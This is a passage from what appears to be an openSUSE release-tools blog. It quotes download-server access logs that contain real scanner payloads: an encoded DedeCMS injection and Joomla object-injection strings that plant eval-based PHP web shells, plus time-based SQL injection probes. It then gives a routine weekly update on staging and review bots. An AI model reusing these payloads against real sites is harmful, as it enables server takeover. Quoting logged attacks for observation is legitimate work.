2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=109&arrs2[]=121&arrs2[]=98&arrs2[]=97&arrs2[]=107&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=121&arrs2[]=98&arrs2[]=97&arrs2[]=107&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96 HTTP/1.1" 404 3654 "http://download.opensuse.org//plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=109&arrs2[]=121&arrs2[]=98&arrs2[]=97&arrs2[]=107&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=121&arrs2[]=98&arrs2[]=97&arrs2[]=107&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html\xa3\xa9" g:CN:AS - r:- 4033 4130 -:- ASN:- P:- size:- - - "-"
</code></pre></div></div>
<p>Some appear to be the result of broken/in-progress scripts.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xxx.xxx.xxx.xxx - - [13/Jul/2017:19:57:05 +0000] "GET / HTTP/1.1" 200 1804 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:216:\"eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2xseC5waHAnLCc4RDlBQUVFQzREOEU0NDM5Mjk5MDQ2QjhDREIzRjc4MiA8P3BocCBAZXZhbCgkX1BPU1RbInhpYW9iYWlmayJdKTsnKTs));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86" g:US:NA - r:- 660 2002 -:- ASN:32097 P:xxx.xxx.xxx.xxx/18 size:- - - "-"
xxx.xxx.xxx.xxx - - [17/Jun/2018:09:25:35 +0000] "GET / HTTP/1.1" 200 5888 "http://download.opensuse.org" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:729:\"eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(68).chr(79).chr(67).chr(85).chr(77).chr(69).chr(78).chr(84).chr(95).chr(82).chr(79).chr(79).chr(84).chr(39).chr(93).chr(46).chr(39).chr(47).chr(114).chr(111).chr(98).chr(111).chr(116).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(120).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd" want:file give:- r:- - -:- ASN:4134 P:xxx.xxx.xxx.xxx/13 1326 6240 size:- - "-" "-"
xxx:xxx:xxx:xxx:xxx:xxx:xxx:xxx - - [13/Aug/2016:21:39:16 +0200] "GET /repositories/home:/guillomovitch/<generator object do_map at 0x7fb2cc743410>/repodata/repomd.xml.key HTTP/1.1" 404 1046 "-" "None" g:-:- - r:- 236 1331 -:- ASN:- P:- size:- - - "-"
xxx:xxx:xxx:xxx::2222 - - [14/Apr/2015:15:08:46 +0200] "GET /update/13.2/x86_64/['ImageMagick-6.8.9.8-1.4_12.1.x86_64.drpm', '>ImageMagick-6.8.9.8-1.4_12.1.x86_64.drpm</a> 24-Dec-2014 13:46 41K <a href=', 'ImageMagick-6.8.9.8-1.4_12.1.x86_64.drpm.mirrorlist', '>Details</a>\\n<img src=', '/icons/rpm.png', ' alt=', '[ ]', ' /> <a href=', 'ImageMagick-6.8.9.8-4.1.x86_64.rpm', '>ImageMagick-6.8.9.8-4.1.x86_64.rpm</a> 12-Nov-2014 10:25 147K <a href=', 'ImageMagick-6.8.9.8-4.1.x86_64.rpm.mirrorlist', '>Details</a>\\n<img src=', '/icons/rpm.png', ' alt=', '[ ]', ' /> <a href=', 'ImageMagick-6.8.9.8-8.1.x86_64.rpm', '>ImageMagick-6.8.9.8-8.1.x86_64.rpm</a> 25-Nov-2014 09:11 147K <a href=', 'ImageMagick-6.8.9.8-8.1.x86_64.rpm.mirrorlist', '>Details</a>\\n'] HTTP/1.1" 404 1046 "-" "-" - r:- 938 1331 -:- ASN:- P:- size:- - - "-"
</code></pre></div></div>
<p>Still others just appear entirely senseless/broken.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xxx.xxx.xxx.xxx - - [10/Mar/2018:15:29:40 +0000] "GET /repositories/Apache:/ HTTP/1.1" 200 5389 "(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'\"+(select(0)from(select(sleep(9)))v)+\"*/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21" want:file give:- r:- - -:- ASN:0 P:0.0.0.0/0 417 5734 size:- -
xxx.xxx.xxx.xxx - - [10/Mar/2018:20:18:17 +0000] "GET /repositories/M17N/SLE_12_SP3/noarch/ HTTP/1.1" 200 34748 "http://download.opensuse.org" "if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'\"XOR(if(now()=sysdate(),sleep(9),0))OR\"*/" want:file give:- r:- - -:- ASN:0 P:0.0.0.0/0 351 35121 size:- -
xxx.xxx.xxx.xxx - - [02/May/2018:01:42:34 +0000] "GET /repositories/home:antonbatenev:tox/CentOS_6/home:antonbatenev:tox.repoyum%20install%20qtoxInstall%20Tox%20in%20Debian:For%20Debian%20Stretch%20run%20the%20following%20as%20root:echo%20'deb%20http://download.opensuse.org/repositories/home:/antonbatenev:/tox/Debian_Stretch/%20/'%20%3E%20/etc/apt/sources.list.d/qtox.listapt-get%20updateapt-get%20install%20qtoxAdd%20the%20repository%20key%20to%20apt:wget%20-nv%20http://download.opensuse.org/repositories/home:antonbatenev:tox/Debian_Stretch/Release.key%20-O%20Release.keyapt-key%20add%20-%20%3C%20Release.keyapt-get%20updateFor%20Debian%208.0%20run%20the%20following%20as%20root:echo%20'deb%20http://download.opensuse.org/repositories/home:/antonbatenev:/tox/Debian_8.0/%20/'%20%3E%20/etc/apt/sources.list.d/qtox.listapt-get%20updateapt-get%20install%20qtoxAdd%20the%20repository%20key%20to%20apt.wget%20-nv%20http://download.opensuse.org/repositories/home:antonbatenev:tox/Debian_8.0/Release.key%20-O%20Release.keyapt-key%20add%20-%20%3C%20Release.keyapt-get%20updateFor%20Debian%207.0%20run%20the%20following%20as%20root:echo%20'deb%20http://download.opensuse.org/repositories/home:/antonbatenev:/tox/Debian_7.0/%20/'%20%3E%20/etc/apt/sources.list.d/qtox.listapt-get%20updateapt-get%20install%20qtoxAdd%20the%20repository%20key%20to%20apt:wget%20-nv%20http://download.opensuse.org/repositories/home:antonbatenev:tox/Debian_7.0/Release.key%20-O%20Release.keyapt-key%20add%20-%20%3C%20Release.keyapt-get%20updateInstall%20Tox%20in%20Fedora:For%20Fedora%2025%20run%20the%20following%20as%20root:dnf%20config-manager%20--add-repo%20http://download.opensuse.org/repositories/home:antonbatenev:tox/Fedora_25/home:antonbatenev:tox.repodnf%20install%20qtoxFor%20Fedora%2024%20run%20the%20following%20as%20root:dnf%20config-manager%20--add-repo%20http://download.opensuse.org/repositories/home:antonbatenev:tox/Fedora_24/home:antonbatenev:tox.repodnf%20install%20qtoxFor%20Fedora%2023%20run%20the%20following%20as%20root:dnf%20config
xxx:xxx:xxx:xxx:xxx:xxx:xxx:xxx - - [02/Dec/2016:21:22:58 +0100] "GET /repositories/Apache:/MirrorBrain/Debian_7.0/Packages is an Apache module doing lookups of the autonomous system (AS)483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd175e332483eaaf0d885498201a07b10fe42c9e78863d88bffe680dd" 414 341 "-" "-" g:-:- - r:- 8211 537 -:- ASN:- P:- size:- - - "-"
</code></pre></div></div>
<p>Some amusing user-agents.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xxx.xxx.xxx.xxx - - [08/Mar/2014:15:24:15 +0100] "GET /repositories/openSUSE:/12.3:/Update/standard/i586/chromium-33.0.1750.117-1.29.2.i586.rpm HTTP/1.1" 302 360 "http://software.opensuse.org/package/chromium" "Opera/9.70 (Linux mips ; U; CE-HTML/1.0 (<profilelist><ui_profile name=\"PHILIPS_OLS_2010\"/></profilelist>); en) Presto/2.2.1" - r:- 647 674 -:- ASN:- P:- size:- - - "-"
xxx:xxx:xxx:xxx:xxx:xxx:xxx:xxx - - [04/Nov/2015:16:09:48 +0100] "GET /distribution/leap/42.1/repo/oss/suse/ HTTP/1.1" 200 1489 "http://download.opensuse.org/distribution/leap/42.1/repo/oss/" "Mozilla/5.0 (';\"<u>{!=&}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36" - r:- 506 1703 -:- ASN:- P:- size:- - - "-"
</code></pre></div></div>
<p>Even a referrers to URL shortened malware pages. :)</p>
<p>It might also be worthwhile to run tools designed to spot attacks and such against the raw logs as a future exercise.</p>Jimmy BerryAdapted from announcement to opensuse-factory mailing list:2018w09-10: ReviewBot comment commands, quality of life changes, metrics.o.o for Grafana 5.x and TW release data, and more2018-03-09T00:00:00+00:002018-03-09T00:00:00+00:00http://release-tools.opensuse.org/2018/03/09/w09-10<h1 id="reviewbot-overrides-via-comment-commands">ReviewBot overrides via comment commands</h1>
<p>Something which has been discussed for quite a while, <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1427">a method for overriding bot reviews</a>, was added recently. The functionality ended up being to interpret comments in the form <code class="highlighter-rouge">@bot <command> [args...]</code>. Comment commands are then restricted to members of either a configured group or the staging group. For example release overrides addressed to <code class="highlighter-rouge">leaper</code> may be issued by anyone in <code class="highlighter-rouge">leap-reviewers</code> group or <code class="highlighter-rouge">factory-staging</code> (responsible for staging process).</p>
<p><code class="highlighter-rouge">repo-checker</code> gained the ability to skip the cycles check via a comment command placed on a staging project (<code class="highlighter-rouge">@repo-checker skip-cycle</code>). Previously, this had to be done via the command line by manually running the bot.</p>
<p>The final decision towards this workflow was clear after it <a href="https://github.com/openSUSE/osc-plugin-factory/issues/1400#issuecomment-365408620">turned out OBS groups were insufficient</a> for the override workflow.</p>
<p><a href="https://github.com/openSUSE/osc-plugin-factory/pull/1431"><code class="highlighter-rouge">leaper</code> was also modified</a> to leave previously <em>declined</em> reviews open for SLE manager override. A <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1455">similar change</a> will be made to the <em>openSUSE</em> portion of the bot.</p>
<h1 id="quality-of-life-changes">Quality of life changes</h1>
<p>Instead of printing the list of packages, requiring the package to be <em>deleted</em>, to build as a flat list it is <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1430">formatted as a bulleted list</a> by <code class="highlighter-rouge">repo-checker</code>.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sad-package is still a build requirement of package1, package2, package3
</code></pre></div></div>
<p>to</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sad-package is still a build requirement of:
- package1
- package2
- package3
</code></pre></div></div>
<p>Similarly, <code class="highlighter-rouge">ReviewBot</code>s were changed to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1426"><em>accept</em> unhandled request types without posting a comment</a> to reduce e-mail spam.</p>
<p><a href="https://github.com/openSUSE/osc-plugin-factory/pull/1432">All config options are now lazy-loaded</a> to allow for placement in remote config.</p>
<h1 id="metricsoo-update-for-grafana-5x-and-tw-review-site">metrics.o.o update for Grafana 5.x and TW review site</h1>
<p>In light of the <em>Grafana</em> 5.x series changing the dashboard format the existing <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1451">4.x dashboards were migrated</a>. <a href="/2018/02/26/Tumbleweed-snapshot-review-site.html">The Tumbleweed snapshot review site</a> data can now also be <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1444">ingested and presented</a>. Both improvements are scheduled for deployment to <a href="https://metrics.opensuse.org/">metrics.opensuse.org</a> next week.</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-release.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-release.png" alt="release metrics" /></a></p>
<h1 id="pkglistgen-adventures">pkglistgen adventures</h1>
<p>A rather interesting bug was causing the <a href="https://github.com/openSUSE/osc-plugin-factory/blob/3bd6833f89583dea77285a1d2da8c39071e6aa24/pkglistgen.py"><code class="highlighter-rouge">pkglistgen.py</code></a> code to crash on <em>Leap 15.0</em> after <code class="highlighter-rouge">Build153.1</code> during drop list creation. It ended up being solved by <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1439">adding a <code class="highlighter-rouge">flush()</code> call before passing the file to read by <code class="highlighter-rouge">libsolv</code></a>. The situation would have been easier to resolve if the <code class="highlighter-rouge">libsolv</code> components complained about in incomplete <em>XML</em> file, but instead the invalid data makes it through a chain of tools before being read by a tool that complains. In addition to fixing the problem the metadata hash is now validated as further assurance that the correct data is present.</p>
<p>The <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1442">repo metadata hash for update repos</a> is now used to avoid downloading unchanged information.</p>
<p>To complete the week for <code class="highlighter-rouge">pkglistgen</code> the addition of services to <em>Leap 15.0</em> exposed the need to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1445">skip local service run during update</a>.</p>
<h1 id="repo-checker-for-sle-15">repo-checker for SLE 15</h1>
<p>Lastly, the <code class="highlighter-rouge">repo-checker</code> is now utilized for SLE 15.0 development which should reduce both the pre-release problems in <em>SLE 15</em>, but also in <em>Leap 15.0</em> since it sources core packages from <em>SLE</em>. In combination with <em>Factory</em> this should elevate the quality of pre-releases and even the final releases in addition to reducing negative staging results.</p>
<h1 id="last-year">last year</h1>
<p>One of the biggest acheivements of last year was the introduction of <a href="https://github.com/openSUSE/osc-plugin-factory/pull/702">select automation: merge and strategies</a> which ended up taking over the majority of staging grouping work. An example of using the strategies in <em>interactive</em> mode can be seen in <a href="/2018/01/12/w01-02.html#requestsplitter">2018w01-02</a>. The work was based on observations and involvement with <em>Leap 42.3</em> and <em>Factory</em> staging. Five strategies were created which are evaluated against the open requests based on a priority order. The result is rather powerful automated staging and follow-up staging.</p>
<p>Stagings which were initially filled using a strategy can have further requests <code class="highlighter-rouge">--merge</code>d into them that match the same strategy. This combined with configurable time period since first staging and other conditions makes for a solid follow-up workflow allowing maintainers to send requests organically. An initial waiting period of an hour is used to allow for patterns to emerge.</p>
<p>A <code class="highlighter-rouge">staging-bot</code> user was created under which this code and more now runs as a service. One can clearly see it take over for <em>Factory</em> in the <code class="highlighter-rouge">Staged - User*</code> graphs on <a href="https://metrics.opensuse.org/">metrics.opensuse.org</a>.</p>
<p><a href="http://release-tools.opensuse.org/image/staging-bot-take-over-factory.png"><img src="http://release-tools.opensuse.org/image/staging-bot-take-over-factory.png" alt="staging-bot take-over of Factory" /></a></p>
<p>The strategies were also integrated into the <a href="https://github.com/openSUSE/obs_factory">OBS dashboard</a> which allows one to quickly tell what strategy was used for each staging. Note the white section within the <em>Project</em> column on the left in the below images (ex. special, kernel-source).</p>
<p><a href="http://release-tools.opensuse.org/image/select-strategies.factory.png"><img src="http://release-tools.opensuse.org/image/select-strategies.factory.png" alt="select strategies Factory dashboard" /></a></p>
<p><a href="http://release-tools.opensuse.org/image/select-strategies.leap-15.png"><img src="http://release-tools.opensuse.org/image/select-strategies.leap-15.png" alt="select strategies Leap 15.0 dashboard" /></a></p>
<p>The existing feature set was <a href="https://github.com/openSUSE/osc-plugin-factory/wiki/Automate-staging-workflow">documented in repo wiki</a> for staging masters and future plans were organized in a <a href="https://github.com/openSUSE/osc-plugin-factory/projects/1">github project</a>.</p>
<p>Towards the same goal of automating staging work several commands were <a href="https://github.com/openSUSE/osc-plugin-factory/pull/704">given <code class="highlighter-rouge">--cleanup</code> flags</a> to remove mundane and neglected tasks. Similarly, <a href="https://github.com/openSUSE/osc-plugin-factory/pull/714">a <code class="highlighter-rouge">rebuild</code> command</a> was introduced to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/725">trigger rebuilds of flaky packages</a> rather than waiting hours for a staging master to come around.</p>
<p>A couple quality of life improvements were made:</p>
<ul>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/717"><code class="highlighter-rouge">frozenage</code> defaults to all letter stagings</a> (to avoid typing all of them)</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/720">include a <code class="highlighter-rouge">--message</code> option in <code class="highlighter-rouge">unselect</code></a> to allow for ignoring a request while un-staging since both are commonly done together</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/711">provide an <code class="highlighter-rouge">unlock</code> command</a> to resolve stuck staging locks</li>
</ul>
